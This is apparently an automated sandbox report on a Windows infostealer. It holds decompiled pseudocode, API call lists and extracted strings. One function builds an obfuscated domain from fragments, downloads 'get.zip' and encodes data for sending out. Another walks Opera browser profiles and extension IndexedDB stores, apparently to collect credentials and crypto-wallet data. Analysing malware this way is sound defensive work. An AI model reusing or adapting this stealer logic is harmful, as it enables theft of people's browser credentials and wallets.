							L00429B30(0x4532ac, 0, 4);
							_t290 = L00429B30(0x4532b0, 0, 4);
							_t472 = _t470 + 0x18; // executed
							E00420AA0(); // executed
							__eflags = _v2412 - _t454;
							if(_v2412 >= _t454) {
								_t424 = _v2432;
								_push(_v2432);
								_t290 = E00429B0B();
								_t472 = _t472 + 4;
							}
							 *[fs:0x0] = _v36;
							_pop(_t440);
							_pop(_t455);
							_pop(_t377);
							__eflags = _v44 ^ _t472;
							return E00429B16(_t290, _t377, _v44 ^ _t472, _t424, _t440, _t455);
						}
						__eflags =  *0x4532a0; // 0x0
						if(__eflags <= 0) {
							goto L84;
						}
						_t292 = L00420E80();
						__eflags = _t292;
						if(_t292 != 0) {
							goto L84;
						}
						_v2580 = 0xf;
						_v2584 = 0;
						_v2600 = 0;
						E004050C0( &_v2600, "com", L00429C90("com"));
						_v36 = 0x1d;
						_v2448 = 0xf;
						_v2452 = 0;
						_v2468 = 0;
						E004050C0( &_v2468, ".", L00429C90("."));
						_v44 = 0x1e;
						_v2512 = 0xf;
						_v2516 = 0;
						_v2532 = 0;
						E004050C0( &_v2532, "stone", L00429C90("stone"));
						_v52 = 0x1f;
						_v2492 = 0xf;
						_v2496 = 0;
						_v2512 = 0;
						E004050C0( &_v2512, "snow", L00429C90("snow"));
						_v60 = 0x20;
						_v2584 = 0xf;
						_v2588 = 0;
						_v2604 = 0;
						E004050C0( &_v2604, "big", L00429C90("big"));
						_v68 = 0x21;
						_t304 = L00405600( &_v2528,  &_v2612,  &_v2584);
						_v68 = 0x22;
						_t307 = L00405600( &_v2556, _t304,  &_v2436);
						_t424 =  &_v2380;
						_v68 = 0x23;
						_t309 = L00405600( &_v2500, _t307,  &_v2380);
						_v68 = 0x24;
						_t312 = L00405600( &_v2640, _t309,  &_v2408);
						_t470 = _t470 + 0x24;
						_v68 = 0x25;
						E00405040(_t312, 0x4512cc);
						_t454 = 0x10;
						__eflags = _v2388 - 0x10;
						if(_v2388 >= 0x10) {
							_push(_v2368);
							E00429B0B();
							_t470 = _t470 + 4;
						}
						_v2348 = 0xf;
						_v2352 = 0;
						_v2368 = 0;
						__eflags = _v2320 - _t454;
						if(_v2320 >= _t454) {
							_t424 = _v2340;
							_push(_v2340);
							E00429B0B();
							_t470 = _t470 + 4;
						}
						_v2320 = 0xf;
						_v2324 = 0;
						_v2340 = 0;
						__eflags = _v2376 - _t454;
						if(_v2376 >= _t454) {
							_push(_v2396);
							E00429B0B();
							_t470 = _t470 + 4;
						}
						_v2376 = 0xf;
						_v2380 = 0;
						_v2396 = 0;
						__eflags = _v2524 - _t454;
						if(_v2524 >= _t454) {
							_push(_v2544);
							E00429B0B();
							_t470 = _t470 + 4;
						}
						_v2524 = 0xf;
						_v2528 = 0;
						_v2544 = 0;
						__eflags = _v2552 - _t454;
						if(_v2552 >= _t454) {
							_t424 = _v2572;
							_push(_v2572);
							E00429B0B();
							_t470 = _t470 + 4;
						}
						_v2552 = 0xf;
						_v2556 = 0;
						_v2572 = 0;
						__eflags = _v2468 - _t454;
						if(_v2468 >= _t454) {
							_push(_v2488);
							E00429B0B();
							_t470 = _t470 + 4;
						}
						_v2468 = 0xf;
						_v2472 = 0;
						_v2488 = 0;
						__eflags = _v2496 - _t454;
						if(_v2496 >= _t454) {
							_push(_v2516);
							E00429B0B();
							_t470 = _t470 + 4;
						}
						_v2496 = 0xf;
						_v2500 = 0;
						_v2516 = 0;
						__eflags = _v2440 - _t454;
						if(_v2440 >= _t454) {
							_t424 = _v2460;
							_push(_v2460);
							E00429B0B();
							_t470 = _t470 + 4;
						}
						_v28 = 0;
						_v2440 = 0xf;
						_v2444 = 0;
						_v2460 = 0;
						__eflags = _v2580 - _t454;
						if(_v2580 >= _t454) {
							_push(_v2600);
							E00429B0B();
							_t470 = _t470 + 4;
						}
						_v2580 = 0xf;
						_v2584 = 0;
						_v2600 = 0;
						CreateThread(0, 0, E0040E460,  &_v2644, 0, 0);
						Sleep(0xea60);
						goto L85;
					}
				} else {
					do {
						CloseHandle(_t251);
						Sleep(0x1388);
						_t251 = OpenEventA(0x1f0003, 0,  &_v2028);
						 *0x4532b0 = _t251;
					} while (_t251 != 0);
					goto L14;
				}
			}

0x0040f9e0
0x0040f9e6
0x0040f9e8
0x0040f9f3
0x0040f9f4
0x0040f9fa
0x0040fa01
0x0040fa0b
0x0040fa12
0x0040fa1a
0x0040fa22
0x0040fa2d
0x0040fa34
0x0040fa3b
0x0040fa42
0x0040fa47
0x0040fa5a
0x0040fa64
0x0040fa6a
0x0040fa70
0x0040fa75
0x0040fa78
0x0040fa7f
0x0040fa89
0x0040fa94
0x0040fa96
0x0040fa96
0x0040faa1
0x0040faa7
0x0040fab5
0x0040fabe
0x0040fabf
0x0040fac4
0x0040fac4
0x0040face
0x0040fad8
0x0040fae3
0x0040fae5
0x0040fae5
0x0040faf0
0x0040faf6
0x0040fafd
0x0040fb04
0x0040fb0d
0x0040fb0e
0x0040fb13
0x0040fb13
0x0040fb1a
0x0040fb1f
0x0040fb2a
0x0040fb2c
0x0040fb2c
0x0040fb37
0x0040fb3d
0x0040fb48
0x0040fb4e
0x0040fb4f
0x0040fb54
0x0040fb54
0x0040fb6a
0x0040fb6e
0x0040fb72
0x0040fb76
0x0040fb7c
0x0040fb83
0x0040fbb4
0x0040fbbf
0x0040fbca
0x0040fbd3
0x0040fbd8
0x0040fbdd
0x0040fbed
0x0040fbfa
0x0040fbff
0x0040fc0b
0x0040fc0d
0x0040fc0d
0x0040fc18
0x0040fc1e
0x0040fc25
0x0040fc2d
0x0040fc2f
0x0040fc36
0x0040fc37
0x0040fc3c
0x0040fc3c
0x0040fc40
0x0040fc40
0x0040fc45
0x0040fc4a
0x0040fc4e
0x0040fc53
0x0040fc56
0x0040fc60
0x0040fc64
0x0040fc69
0x0040fc70
0x0040fc78
0x0040fc7d
0x0040fc89
0x0040fc8a
0x0040fc92
0x0040fc97
0x0040fc9a
0x0040fca6
0x0040fcac
0x0040fcad
0x0040fcb2
0x0040fcb2
0x0040fcbc
0x0040fcc1
0x0040fcc5
0x0040fcc9
0x0040fccd
0x0040fccf
0x0040fccf
0x0040fcd4
0x0040fcd9
0x0040fce2
0x0040fce4
0x0040fce7
0x0040fcf0
0x0040fcf4
0x0040fcf7
0x0040fcfb
0x0040fd10
0x0040fd15
0x0040fd18
0x0040fd1a
0x0040fd22
0x0040fd29
0x0040fd2c
0x0040fd34
0x0040fd36
0x0040fd3b
0x0040fd42
0x0040fd47
0x0040fd47
0x0040fd51
0x0040fd56
0x0040fd58
0x0040fd58
0x0040fd63
0x0040fd69
0x0040fd6b
0x00000000
0x00000000
0x0040fd71
0x0040fd76
0x0040fd7b
0x0040fd7f
0x0040fd84
0x0040fd87
0x0040fd91
0x0040fd95
0x0040fd9a
0x0040fda1
0x0040fda9
0x0040fdae
0x0040fdba
0x0040fdbb
0x0040fdc3
0x0040fdc8
0x0040fdcb
0x0040fdd7
0x0040fddd
0x0040fdde
0x0040fde3
0x0040fde3
0x0040fded
0x0040fdf2
0x0040fdf6
0x0040fdfa
0x0040fdfe
0x0040fe00
0x0040fe00
0x0040fe05
0x0040fe0a
0x0040fe13
0x0040fe15
0x0040fe18
0x0040fe21
0x0040fe25
0x0040fe28
0x0040fe2c
0x0040fe41
0x0040fe46
0x0040fe49
0x0040fe4b
0x0040fe53
0x0040fe5a
0x0040fe5d
0x0040fe65
0x0040fe67
0x0040fe6c
0x0040fe73
0x0040fe78
0x0040fe78
0x0040fe82
0x0040fe87
0x0040fe89
0x0040fe89
0x0040fe8e
0x0040fe93
0x0040fe9c
0x00000000
0x0040fea2
0x0040fea2
0x0040fea5
0x0040feae
0x0040feb2
0x0040feb5
0x0040feb9
0x0040febb
0x0040fecc
0x0040fece
0x0040fed3
0x0040fed6
0x0040fede
0x0040fee0
0x0040fee4
0x0040fee9
0x0040fef0
0x0040fef5
0x0040fefa
0x0040ff04
0x0040ff06
0x0040ff06
0x0040ff11
0x0040ff17
0x0040ff19
0x00000000
0x0040ff1b
0x0040ff20
0x00000000
0x0040ff20
0x0040ff19
0x0040fe9c
0x0040ff30
0x0040ff43
0x0040ff48
0x0040ff4d
0x0040ff52
0x0040ff55
0x0040ff5c
0x0040ff5e
0x0040ff5e
0x0040ff64
0x0040ff6c
0x0040ff7f
0x0040ff92
0x0040ff9f
0x0040ffb7
0x0040ffbc
0x0040ffc8
0x0040ffcf
0x0040ffda
0x0040ffe5
0x0040fff0
0x0040fff4
0x0040fffa
0x0040fffe
0x00410005
0x00410010
0x00410014
0x00410016
0x00410019
0x0041001e
0x00410022
0x00410027
0x0041002b
0x00410030
0x00410036
0x00410038
0x00410038
0x0041003d
0x00410043
0x00410045
0x00410045
0x0041004a
0x0041004f
0x00410055
0x00410057
0x0041005e
0x0041005e
0x00410063
0x00410068
0x0041006e
0x00410070
0x00410070
0x00410075
0x0041007a
0x00410082
0x00410087
0x0041008b
0x0041008d
0x00410091
0x00410093
0x00410095
0x00410099
0x004100a6
0x004100ac
0x004100ae
0x004100bd
0x004100c3
0x004100c5
0x004100c7
0x004100d1
0x004100d6
0x004100d9
0x004100e6
0x004100e6
0x004100c7
0x004100ae
0x00410102
0x00410106
0x0041010a
0x00410110
0x00410112
0x00410118
0x00410160
0x00410165
0x0041016b
0x00410120
0x00410120
0x00410120
0x00410127
0x00000000
0x00000000
0x00410129
0x0041012c
0x00410132
0x00410140
0x00410146
0x00410146
0x00410146
0x0041014d
0x00410153
0x00410154
0x0041015b
0x00000000
0x00410160
0x00410160
0x00000000
0x00000000
0x00000000
0x00410160
0x0041015b
0x00410176
0x0041017a
0x0041017e
0x00410186
0x0041018e
0x00410192
0x0041019d
0x0041019f
0x004101a1
0x004101a4
0x004101a7
0x004101ae
0x004101b3
0x004101b6
0x00410532
0x00410532
0x00410537
0x0041053f
0x0041054f
0x00410554
0x00410557
0x0041055c
0x00410563
0x00410565
0x0041056c
0x0041056d
0x00410572
0x00410572
0x0041057c
0x00410584
0x00410585
0x00410586
0x0041058e
0x00410598
0x00410598
0x004101bc
0x004101c2
0x00000000
0x00000000
0x004101c8
0x004101cd
0x004101cf
0x00000000
0x00000000
0x004101df
0x004101e3
0x004101e7
0x004101fd
0x00410202
0x0041020f
0x00410216
0x0041021d
0x00410239
0x0041023e
0x0041024b
0x00410252
0x00410259
0x00410275
0x0041027a
0x00410287
0x0041028e
0x00410295
0x004102b1
0x004102b6
0x004102c3
0x004102ca
0x004102ce
0x004102e4
0x004102fc
0x00410304
0x0041031d
0x00410325
0x0041032f
0x00410336
0x00410346
0x0041035c
0x00410364
0x00410369
0x00410373
0x0041037b
0x00410380
0x00410385
0x0041038c
0x00410395
0x00410396
0x0041039b
0x0041039b
0x004103a3
0x004103aa
0x004103b1
0x004103b8
0x004103bf
0x004103c1
0x004103c8
0x004103c9
0x004103ce
0x004103ce
0x004103d1
0x004103d8
0x004103df
0x004103e6
0x004103ed
0x004103f6
0x004103f7
0x004103fc
0x004103fc
0x004103ff
0x00410406
0x0041040d
0x00410414
0x0041041b
0x00410424
0x00410425
0x0041042a
0x0041042a
0x0041042d
0x00410434
0x0041043b
0x00410442
0x00410446
0x00410448
0x0041044c
0x0041044d
0x00410452
0x00410452
0x00410455
0x00410459
0x0041045d
0x00410461
0x00410468
0x00410471
0x00410472
0x00410477
0x00410477
0x0041047a
0x00410481
0x00410488
0x0041048f
0x00410496
0x0041049f
0x004104a0
0x004104a5
0x004104a5
0x004104a8
0x004104af
0x004104b6
0x004104bd
0x004104c4
0x004104c6
0x004104cd
0x004104ce
0x004104d3
0x004104d3
0x004104d6
0x004104dd
0x004104e4
0x004104eb
0x004104f2
0x004104f6
0x004104fc
0x004104fd
0x00410502
0x00410502
0x00410513
0x00410517
0x0041051b
0x0041051f
0x0041052a
0x00000000
0x0041052a
0x0040fb85
0x0040fb85
0x0040fb86
0x0040fb91
0x0040fba5
0x0040fbab
0x0040fbb0
0x00000000
0x0040fb85

APIs

Part of subcall function 00423F60: GetProcAddress.KERNEL32(74640000,0509B908,0040FA4C), ref: 00423F75
Part of subcall function 00423F60: GetProcAddress.KERNEL32(74640000,0509B7F8), ref: 00423F8D
Part of subcall function 00423F60: GetProcAddress.KERNEL32(74640000,0509B980), ref: 00423FA6
Part of subcall function 00423F60: GetProcAddress.KERNEL32(74640000,05098F20), ref: 00423FBE
Part of subcall function 00423F60: GetProcAddress.KERNEL32(74640000,0509BA70), ref: 00423FD6
Part of subcall function 00423F60: GetProcAddress.KERNEL32(74640000,0509B638), ref: 00423FEF
Part of subcall function 00423F60: GetProcAddress.KERNEL32(74640000,0509BBA8), ref: 00424007
Part of subcall function 00423F60: GetProcAddress.KERNEL32(74640000,0509BB60), ref: 0042401F
Part of subcall function 00423F60: GetProcAddress.KERNEL32(74640000,0509BB78), ref: 00424038
Part of subcall function 00423F60: GetProcAddress.KERNEL32(74640000,0509BB90), ref: 00424050
Part of subcall function 00423F60: GetProcAddress.KERNEL32(74640000,0509BBC0), ref: 00424068
Part of subcall function 00423F60: GetProcAddress.KERNEL32(74640000,0509BBD8), ref: 00424081
Part of subcall function 00423F60: GetProcAddress.KERNEL32(74640000,0509BBF0), ref: 00424099
Part of subcall function 00423F60: GetProcAddress.KERNEL32(74640000,0509B4B8), ref: 004240B1
Part of subcall function 00423F60: GetProcAddress.KERNEL32(74640000,0509BC20), ref: 004240CA
Part of subcall function 00423F60: GetProcAddress.KERNEL32(74640000,0509BC08), ref: 004240E2

_memset.LIBCMT ref: 0040FA70

Part of subcall function 0041E580: GetWindowsDirectoryA.KERNEL32(?,00000104,30E242AA,00000010), ref: 0041E5E1
Part of subcall function 0041E580: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041E622
Part of subcall function 0041E580: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0041E6D4
Part of subcall function 0041E580: RtlAllocateHeap.NTDLL(00000000), ref: 0041E6DB
Part of subcall function 0041E580: _strlen.LIBCMT ref: 0041E6F8
Part of subcall function 0041E580: std::_Xinvalid_argument.LIBCPMT ref: 0041E70C

lstrcatA.KERNEL32(?,00000000), ref: 0040FAA1
lstrcatA.KERNEL32(?,00000000), ref: 0040FAF0
lstrcatA.KERNEL32(?,00000000), ref: 0040FB37
OpenEventA.KERNEL32(001F0003,00000000,?), ref: 0040FB76
CloseHandle.KERNEL32(00000000), ref: 0040FB86
Sleep.KERNEL32(00001388), ref: 0040FB91
OpenEventA.KERNEL32(001F0003,00000000,?), ref: 0040FBA5
CreateEventA.KERNEL32(00000000,00000000,00000000,?), ref: 0040FBBF
_memset.LIBCMT ref: 0040FBD8
lstrcatA.KERNEL32(?,0044A990), ref: 0040FBED
lstrcatA.KERNEL32(?,00000000), ref: 0040FC18

Part of subcall function 0040A380: _strlen.LIBCMT ref: 0040A39A

Part of subcall function 0040A440: _strlen.LIBCMT ref: 0040A45A

Part of subcall function 0040DFB0: StrCmpCA.SHLWAPI(?,ERROR), ref: 0040E06E
Part of subcall function 0040DFB0: lstrlenA.KERNEL32(?,?,?,?), ref: 0040E0C9

StrCmpCA.SHLWAPI(04E72F10,ERROR), ref: 0040FCDA
_strlen.LIBCMT ref: 0040FCFD
StrCmpCA.SHLWAPI(04E72F10,ERROR), ref: 0040FD63
StrCmpCA.SHLWAPI(04E72F10,ERROR), ref: 0040FE0B
_strlen.LIBCMT ref: 0040FE2E

Part of subcall function 004051C0: std::_Xinvalid_argument.LIBCPMT ref: 004051DA

Part of subcall function 0040E180: _memset.LIBCMT ref: 0040E1D7
Part of subcall function 0040E180: _memset.LIBCMT ref: 0040E1E6
Part of subcall function 0040E180: lstrlenA.KERNEL32(?,10000000,?,?,?,30E242AA), ref: 0040E218
Part of subcall function 0040E180: InternetCrackUrlA.WININET(?,00000000), ref: 0040E220
Part of subcall function 0040E180: StrCmpCA.SHLWAPI(?,https,?,?,30E242AA), ref: 0040E23B
Part of subcall function 0040E180: StrCmpCA.SHLWAPI(?,ERROR), ref: 0040E2BA

StrCmpCA.SHLWAPI(04E72F10,ERROR), ref: 0040FE94
_strlen.LIBCMT ref: 0040FEBB
StrCmpCA.SHLWAPI(04E72F10,ERROR), ref: 0040FF11
Sleep.KERNEL32(0001D4C0), ref: 0040FF20
_memset.LIBCMT ref: 0040FF48
lstrcatA.KERNEL32(?,04E72F10), ref: 0040FF6C
lstrcatA.KERNEL32(?,0044A990), ref: 0040FF7F
lstrcatA.KERNEL32(?,get.zip), ref: 0040FF92
CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?), ref: 004100A6
GetProcessHeap.KERNEL32(00000000,?), ref: 004100B6
RtlAllocateHeap.NTDLL(00000000), ref: 004100BD
_memset.LIBCMT ref: 004100D1
CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?), ref: 004100E6
CreateThread.KERNEL32(00000000,00000000,Function_0000E460,?,00000000,00000000), ref: 0041010A
CreateThread.KERNEL32(00000000,00000000,Function_0000E460,?,00000000,00000000), ref: 00410140
Sleep.KERNEL32(000003E8), ref: 0041014D
Sleep.KERNEL32(000003E8), ref: 00410165

Part of subcall function 0040F890: _memset.LIBCMT ref: 0040F8C3
Part of subcall function 0040F890: RegOpenKeyExA.KERNEL32(80000001,0509D680,00000000,00020119,?), ref: 0040F8E5
Part of subcall function 0040F890: RegQueryValueExA.ADVAPI32(?,0509CA70,00000000,00000000,00000000,000000FF), ref: 0040F90F
Part of subcall function 0040F890: RegCloseKey.ADVAPI32(?), ref: 0040F91C
Part of subcall function 0040F890: _memset.LIBCMT ref: 0040F930
Part of subcall function 0040F890: lstrcatA.KERNEL32(?,00000000), ref: 0040F946
Part of subcall function 0040F890: lstrcatA.KERNEL32(?,\config\), ref: 0040F958

_strlen.LIBCMT ref: 004101EB
_strlen.LIBCMT ref: 00410224

Part of subcall function 004050C0: std::_Xinvalid_argument.LIBCPMT ref: 00405135
Part of subcall function 004050C0: _memmove.LIBCMT ref: 00405186

_strlen.LIBCMT ref: 00410260
_strlen.LIBCMT ref: 0041029C
_strlen.LIBCMT ref: 004102D2

Part of subcall function 00405040: _memmove.LIBCMT ref: 00405073

CreateThread.KERNEL32(00000000,00000000,Function_0000E460,?,00000000,00000000), ref: 0041051F
Sleep.KERNEL32(0000EA60), ref: 0041052A
_memset.LIBCMT ref: 0041053F
_memset.LIBCMT ref: 0041054F

Part of subcall function 00420E80: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00420EA6
Part of subcall function 00420E80: Process32First.KERNEL32 ref: 00420EB6
Part of subcall function 00420E80: Process32Next.KERNEL32 ref: 00420ECE
Part of subcall function 00420E80: Process32Next.KERNEL32 ref: 00420EF6
Part of subcall function 00420E80: CloseHandle.KERNEL32(00000000), ref: 00420EFD

Strings

get.zip, xrefs: 0040FF85
$, xrefs: 0041035C
big, xrefs: 004102BE, 004102DB
com, xrefs: 004101DA, 004101F4
%, xrefs: 00410373
snow, xrefs: 00410282, 004102A5
ERROR, xrefs: 0040FCD4, 0040FD5D, 0040FE05, 0040FE8E, 0040FF0B
stone, xrefs: 00410246, 00410269

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: AddressProc$_strlen$_memsetlstrcat$CreateSleep$Heap$CloseEventOpenProcess32ThreadXinvalid_argumentstd::_$AllocateBinaryCryptHandleNextProcessString_memmovelstrlen$CrackDirectoryFirstInformationInternetQuerySnapshotToolhelp32ValueVolumeWindows
String ID: $$%$ERROR$big$com$get.zip$snow$stone
API String ID: 1225558007-452113305
Opcode ID: d2df8a8dd57d3b01380caa5c9cc06f37e9d1705636ae14debec8a4eaf1b9e03b
Instruction ID: 7a3e31b9a7bcd54ff2e6af750e23599facd77b07daaeda8045df0f16771265f1
Opcode Fuzzy Hash: d2df8a8dd57d3b01380caa5c9cc06f37e9d1705636ae14debec8a4eaf1b9e03b
Instruction Fuzzy Hash: A062D0B05083C0AFD330DF259885B9BBBE8BB95305F44493EF48997252DB789548CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00419F90 Relevance: 84.4, APIs: 40, Strings: 8, Instructions: 404
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E00419F90(intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v8;
				char _v276;
				char _v540;
				char _v804;
				char _v1068;
				char _v1332;
				char _v1596;
				char _v1860;
				char _v2124;
				struct _WIN32_FIND_DATAA _v2444;
				intOrPtr _v2448;
				intOrPtr _v2452;
				intOrPtr _v2456;
				void* _v2460;
				void* __ebx;
				signed int _t121;
				void* _t127;
				void* _t148;
				signed char _t150;
				signed char _t153;
				signed char _t156;
				void* _t159;
				int _t164;
				signed char _t193;
				signed char _t196;
				signed char _t199;
				intOrPtr _t230;
				intOrPtr _t231;
				intOrPtr _t232;
				intOrPtr _t233;
				intOrPtr _t234;
				intOrPtr _t235;
				intOrPtr _t248;
				intOrPtr _t249;
				intOrPtr _t250;
				intOrPtr _t251;
				intOrPtr _t252;
				intOrPtr _t253;
				void* _t279;
				void* _t280;
				signed int _t281;
				void* _t282;
				void* _t283;
				void* _t295;

				_t280 = __esi;
				_t279 = __edi;
				_t121 =  *0x450664; // 0x30e242aa
				_v8 = _t121 ^ _t281;
				_t202 = __edx;
				_t247 =  &_v2124;
				_v2452 = _a4;
				_v2448 = __ecx;
				_v2456 = __edx;
				wsprintfA( &_v2124, "%s\\*.*", __esi);
				_t283 = _t282 + 0xc;
				if(_a12 != 0) {
					L00429B30( &_v276, 0, 0x104);
					_t127 = _a12 - 1;
					if(_t127 == 0) {
						lstrcatA( &_v276, "Opera Stable");
						goto L26;
					} else {
						_t159 = _t127 - 1;
						if(_t159 == 0) {
							lstrcatA( &_v276, "Opera GX Stable");
							goto L26;
						} else {
							if(_t159 == 1) {
								lstrcatA( &_v276, "Opera Crypto Stable");
								L26:
							}
						}
					}
					_t248 =  *0x453048; // 0x5099038
					wsprintfA( &_v804, "%s\\%s\\%s\\%s", _t280,  &_v276, _t248, _t279);
					_t249 =  *0x452a5c; // 0x5098530
					wsprintfA( &_v1332, "%s\\%s",  &_v804, _t249);
					_t250 =  *0x452ea8; // 0x509b1d8
					wsprintfA( &_v540, "%s\\%s\\%s\\%s", _t280,  &_v276, _t250, _t279);
					_t251 =  *0x452a5c; // 0x5098530
					wsprintfA( &_v1596, "%s\\%s",  &_v540, _t251);
					_t252 =  *0x452b58; // 0x509ce00
					wsprintfA( &_v1068, "%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb", _t280,  &_v276, _t252, _t279);
					_t253 =  *0x452a5c; // 0x5098530
					wsprintfA( &_v1860, "%s\\%s",  &_v1068, _t253);
					if(_a16 != 0) {
						_t156 = GetFileAttributesA( &_v1332); // executed
						if(_t156 != 0xffffffff && (_t156 & 0x00000010) == 0) {
							_t89 =  &_a8; // 0x6f72505c
							L00419B80(_v2448,  &_v276, _v2452,  &_v804, _t202,  *_t89, 1);
							_t202 = _v2456;
						}
					}
					if(_a20 != 0) {
						_t153 = GetFileAttributesA( &_v1596); // executed
						if(_t153 != 0xffffffff && (_t153 & 0x00000010) == 0) {
							_t99 =  &_a8; // 0x6f72505c
							L00419B80(_v2448,  &_v276, _v2452,  &_v540, _t202,  *_t99, 2);
							_t202 = _v2456;
						}
					}
					if(_a24 != 0) {
						_t150 = GetFileAttributesA( &_v1860); // executed
						if(_t150 != 0xffffffff && (_t150 & 0x00000010) == 0) {
							_t109 =  &_a8; // 0x6f72505c
							_t202 = _v2448;
							L00419B80(_v2448,  &_v276, _v2452,  &_v1068, _v2448,  *_t109, 3);
						}
					}
					L00429B30( &_v804, 0, 0x104);
					L00429B30( &_v1332, 0, 0x104);
					L00429B30( &_v540, 0, 0x104);
					_t247 =  &_v1596;
					L00429B30( &_v1596, 0, 0x104);
					L00429B30( &_v1068, 0, 0x104);
					_t148 = L00429B30( &_v1860, 0, 0x104);
					goto L40;
				} else {
					_t148 = FindFirstFileA( &_v2124,  &_v2444); // executed
					_v2460 = _t148;
					if(_t148 == 0xffffffff) {
						L40:
						return E00429B16(_t148, _t202, _v8 ^ _t281, _t247, _t279, _t280);
					} else {
						do {
							_push(".");
							_push( &(_v2444.cFileName));
							if( *0x453510() != 0) {
								_push("..");
								_push( &(_v2444.cFileName));
								if( *0x453510() != 0) {
									L00429B30( &_v276, 0, 0x104);
									lstrcatA( &_v276,  &(_v2444.cFileName));
									_t230 =  *0x453048; // 0x5099038
									wsprintfA( &_v1068, "%s\\%s\\%s\\%s", _t280,  &_v276, _t230, _t279);
									_t231 =  *0x452a5c; // 0x5098530
									wsprintfA( &_v1860, "%s\\%s",  &_v1068, _t231);
									_t232 =  *0x452ea8; // 0x509b1d8
									wsprintfA( &_v540, "%s\\%s\\%s\\%s", _t280,  &_v276, _t232, _t279);
									_t233 =  *0x452a5c; // 0x5098530
									wsprintfA( &_v1596, "%s\\%s",  &_v540, _t233);
									_t234 =  *0x452b58; // 0x509ce00
									wsprintfA( &_v804, "%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb", _t280,  &_v276, _t234, _t279);
									_t235 =  *0x452a5c; // 0x5098530
									wsprintfA( &_v1332, "%s\\%s",  &_v804, _t235);
									_t295 = _t283 + 0x84;
									if(_a16 != 0) {
										_t199 = GetFileAttributesA( &_v1860); // executed
										if(_t199 != 0xffffffff && (_t199 & 0x00000010) == 0) {
											_t32 =  &_a8; // 0x6f72505c
											L00419B80(_v2448,  &_v276, _v2452,  &_v1068, _t202,  *_t32, 1);
											_t202 = _v2456;
										}
									}
									if(_a20 != 0) {
										_t196 = GetFileAttributesA( &_v1596); // executed
										if(_t196 != 0xffffffff && (_t196 & 0x00000010) == 0) {
											_t42 =  &_a8; // 0x6f72505c
											L00419B80(_v2448,  &_v276, _v2452,  &_v540, _t202,  *_t42, 2);
											_t202 = _v2456;
										}
									}
									if(_a24 != 0) {
										_t193 = GetFileAttributesA( &_v1332); // executed
										if(_t193 != 0xffffffff && (_t193 & 0x00000010) == 0) {
											_t52 =  &_a8; // 0x6f72505c
											L00419B80(_v2448,  &_v276, _v2452,  &_v804, _t202,  *_t52, 3);
											_t202 = _v2456;
										}
									}
									L00429B30( &_v1068, 0, 0x104);
									L00429B30( &_v1860, 0, 0x104);
									L00429B30( &_v540, 0, 0x104);
									L00429B30( &_v1596, 0, 0x104);
									L00429B30( &_v804, 0, 0x104);
									L00429B30( &_v1332, 0, 0x104);
									_t283 = _t295 + 0x48;
								}
							}
							_t263 = _v2460;
							_t164 = FindNextFileA(_v2460,  &_v2444); // executed
						} while (_t164 != 0);
						return E00429B16(FindClose(_v2460), _t202, _v8 ^ _t281, _t263, _t279, _t280);
					}
				}
			}

0x00419f90
0x00419f90
0x00419f99
0x00419fa0
0x00419fa7
0x00419faa
0x00419fb6
0x00419fbc
0x00419fc2
0x00419fc8
0x00419fce
0x00419fd5
0x0041a2cb
0x0041a2d6
0x0041a2d7
0x0041a307
0x00000000
0x0041a2d9
0x0041a2d9
0x0041a2da
0x0041a307
0x00000000
0x0041a2dc
0x0041a2dd
0x0041a307
0x0041a307
0x0041a307
0x0041a2dd
0x0041a2da
0x0041a30d
0x0041a329
0x0041a32f
0x0041a349
0x0041a34f
0x0041a36b
0x0041a371
0x0041a38e
0x0041a394
0x0041a3b0
0x0041a3b6
0x0041a3d0
0x0041a3dd
0x0041a3e6
0x0041a3ef
0x0041a3f5
0x0041a415
0x0041a41a
0x0041a41a
0x0041a3ef
0x0041a424
0x0041a42d
0x0041a436
0x0041a43c
0x0041a45c
0x0041a461
0x0041a461
0x0041a436
0x0041a46b
0x0041a474
0x0041a47d
0x0041a483
0x0041a490
0x0041a4a3
0x0041a4a3
0x0041a47d
0x0041a4b6
0x0041a4cc
0x0041a4e2
0x0041a4ef
0x0041a4f8
0x0041a50e
0x0041a524
0x00000000
0x00419fdb
0x00419fe9
0x00419fef
0x00419ff8
0x0041a52c
0x0041a53a
0x0041a000
0x0041a000
0x0041a000
0x0041a00b
0x0041a014
0x0041a01a
0x0041a025
0x0041a02e
0x0041a042
0x0041a058
0x0041a05e
0x0041a07a
0x0041a080
0x0041a09a
0x0041a0a0
0x0041a0bc
0x0041a0c2
0x0041a0df
0x0041a0e5
0x0041a101
0x0041a107
0x0041a121
0x0041a127
0x0041a12e
0x0041a137
0x0041a140
0x0041a146
0x0041a166
0x0041a16b
0x0041a16b
0x0041a140
0x0041a175
0x0041a17e
0x0041a187
0x0041a18d
0x0041a1ad
0x0041a1b2
0x0041a1b2
0x0041a187
0x0041a1bc
0x0041a1c5
0x0041a1ce
0x0041a1d4
0x0041a1f4
0x0041a1f9
0x0041a1f9
0x0041a1ce
0x0041a20d
0x0041a223
0x0041a239
0x0041a24f
0x0041a265
0x0041a27b
0x0041a280
0x0041a280
0x0041a02e
0x0041a283
0x0041a291
0x0041a297
0x0041a2ba
0x0041a2ba
0x00419ff8

APIs

wsprintfA.USER32 ref: 00419FC8
